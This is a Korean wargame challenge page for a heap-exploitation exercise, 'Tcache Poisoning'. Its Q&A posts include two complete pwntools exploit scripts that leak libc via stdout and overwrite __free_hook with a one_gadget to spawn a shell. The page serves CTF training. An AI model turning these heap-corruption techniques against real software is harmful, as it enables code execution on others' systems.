LEVEL 3

Tcache Poisoning

pwnable
  • 문제 정보
  • 풀이 42
  • 난이도 투표 59
  • 질문 16
  • 최근 풀이자 819
  • 댓글 27

문제 설명

Description

Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.

Challenge Updates

2023.04.28: Dockerfile이 제공됩니다.

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
Sechack
2024 Invitational Contenders
출제된 지 4시간 만에 풀이 완료!

난이도 투표 59

질문 16

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
DFB 사용을 꼭 해야하는 이유가 있을까요 ?
이번 문제의 풀이에는 Double Free Bug를 사용했는데, 사실 생각해보면 tcache에 존재하는 청크의 값을 수정할 수 있는 edit 함수가 있다면, next를 수정할 수 있기 때문에 임의의 청크를 DFB를 사용하지 않고 추가할 수 있어서 아래와 같이 풀었는데, 이렇게 풀지 않고 꼭 DFB를 써야 하는 이유가 있을까요 ? from pwn import * p = remote('host3.dreamhack.games', 24385) elf = ELF('./tcache_poison') libc = ELF('./libc-2.27.so') def allocate(size, content): p.sendlineafter(b'Edit\n', b'1') p.sendlineafter(b'Size: ', str(size).encode()) p.sendafter(b'Content: ', content) # 나중에 _IO_2_1_stdout__lsb를 보낼때 sendline으로 보내면 공백이 추가되서 안됨 def free(): p.sendlineafter(b'Edit\n', b'2') def print_chunk(): p.sendlineafter(b'Edit\n', b'3') def edit(content): p.sendlineafter(b'Edit\n', b'4') p.sendafter(b'Edit chunk: ', content) tcache[0x40] : empty chunk : first(1) allocate(0x30, b'first') tcache[0x40] : first(1) chunk : first(1) free() # (1) tcache[0x40] : first(1) -> stdout -> IO_2_1_stdout chunk : first(1) stdout = elf.symbols['stdout'] edit(p64(stdout) + b'a') tcache[0x40] : stdout -> IO_2_1_stdout chunk : first(1) allocate(0x30, b'a') 어떤 값을 대입하면서 allocate하더라도 이미 tcache에는 stdout이 링크드 리스트의 헤더(청크의 헤더X)로 존재하므로 상관없음 tcache[0x40] : IO_2_1_stdout chunk : stdout IO_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout'])[0:1] # 첫번째 문자열 가져옴 : 문자열에서 첫번째는 lsb allocate(0x30, _IO_2_1_stdout_lsb) 여기서 중요한게, 바로 아래에서 print_chunk를 할건데, stdout에 저장된(가리키는) IO_2_1_stdout을 변조하면 안됨 하지만 libc base를 몰라서 IO_stdout을 모르지만, 다행히 하위 3비트는 오프셋으로 고정되어 있어서 하위 1바이트인 lsb도 고정되있어서 lsb를 대입해주면 됨(리틀엔디언 잘 생각) print_chunk() # stdout에 저장된 IO_2_1_stdout_lsb 주소 출력 p.recvuntil(b'Content: ') # print_chunk에서 'Content: '는 안받아줬기 때문에 여기까지 받아줘야 libc_base를 제대로 계산 가능 Leak libc base libc_base = u64(p.recvn(6).ljust(8, b'\x00')) - libc.symbols['IO_2_1_stdout'] free_hook = libc_base + libc.symbols['__free_hook'] og = libc_base + 0x4f3ce og = libc_base + 0x4f3d5 og = libc_base + 0x4f432 og = libc_base + 0x10a41c 여기서 tcache[0x40] 을 다시 쓰면 IO_2_1_stdout을 가져오는데 이 주소의 값을 바꾸면 안되므로 다른 tcache 엔트리를 써야함 tcache[0x50] : empty chunk : first(1) allocate(0x40, b'first') tcahce[0x50] : first(1) chunk : first(1) free() tcache[0x50] : first(1) -> free_hook chunk : first(1) edit(p64(free_hook)) tcache[0x50] : free_hook chunk : first(1) allocate(0x40, b'a') tcache[0x50] : empty chunk : free_hook allocate(0x40, p64(og)) # free_hook이 저장된 주소에 og가 저장되어 free_hook -> og를 가리키게 됨 Exploit free() p.interactive() `
ro
timeout관련
from pwn import * p = remote("host3.dreamhack.games", 15157) #p = process("./tcache_poison") e = ELF("./tcache_poison") libc = ELF("./libc-2.27.so") #full_relro이기때문에 hook_overwrite를 고려해볼수도 있고 #double free bug를 써봐야할듯 stdout = e.symbols['stdout'] p.sendline(b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', str('31337')) p.sendlineafter(b't\n', b'2') p.sendlineafter(b't\n',b'4') p.sendafter(b': ',str('AAAAAAAAA')) p.sendlineafter(b't\n',b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', p64(stdout)) p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'BBBBBBBB') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'48') p.sendafter(b': ', b'\x60') p.sendlineafter(b't\n', b'3') p.recvuntil(b'Content: ') stdout = u64(p.recv(6) + b"\x00" * 2) print(hex(stdout)) lb = stdout - libc.symbols["IO_2_1_stdout"] fh = lb + libc.symbols["__free_hook"] print(hex(lb)) print(hex(fh)) oneshot = lb + 0x4f432 p.sendlineafter(b"t\n", b'1') p.sendlineafter(b": ", b'70') p.sendafter(b": ", b"31337") p.sendlineafter(b"t\n", b'2') p.sendlineafter(b"t\n", b'4') p.sendafter(b": ", b'aaaaaaaaa') p.sendlineafter(b"t\n", b'2') p.sendlineafter(b't\n', b'1') p.sendlineafter(b': ', b'70') p.sendafter(b": ", p64(fh)) p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', b'31337') p.sendlineafter(b't\n', b"1") p.sendlineafter(b": ", b'70') p.sendafter(b': ', p64(oneshot)) p.sendlineafter(b"t\n", b'2') p.interactive() 저의 exploit코드는다음과 같습니다 local에서 실행시 끝까지 잘 진행되고 결과적으로 onegadget의 주소로 이동해서 터미널에서 ls를 치면 sh: 1: 2t.\x91\xd6: not found Allocate Free Print Edit 위와같은 문구가 무한히 반복하며 출력되어 서버에서도 시도했는데 서버는 sendlineafter에서 timeout이 발생하더라구요 Traceback (most recent call last): File "ex.py", line 17, in <module> p.sendafter(b': ',str('AAAAAAAAA')) File "/usr/local/lib/python3.6/dist-packages/pwnlib/tubes/tube.py", line 813, in sendafter res = self.recvuntil(delim, timeout=timeout) 다른분들의 ex코드들을 여러번 바꿔가며 실행해도 서버에서 sendlineafter부분에서 timeout이 발생합니다 원인이 뭘까요?
avatar NetRuuner32

최근 풀이자 819

do1e
강의 수강: 1
hojune02
대표 업적 없음
avatar
vani5hing
대표 업적 없음
avatar
babo0221
대표 업적 없음
avatar
pandas
시스템 해킹 입문
Easy2DJ
대표 업적 없음
avatar
m1zuguchi
대표 업적 없음
서경대김재중
대표 업적 없음
우도우도
대표 업적 없음
푸사
대표 업적 없음

댓글 27

avatar
Finder
웹해킹 입문
포너블 어렵다...
avatar
사용자
해결사
좋은 연습문제입니다~
avatar
KnightChaser
공부벌레
뉴비한테는 좀 매운맛...☆
avatar
is07king
워게임: 1
어려워여
DFB
avatar
UKO
2022 Christmas CTF 운영
:)
avatar
Sunja
강의 수강: 10
이해를 하니...재미가 생긴 문제
avatar
msh1307
대표 업적 없음
: )
For_Freedom
워게임 고인물
ㅎㅎ
0I0Hackyy
강의 수강: 1
재밌습니다.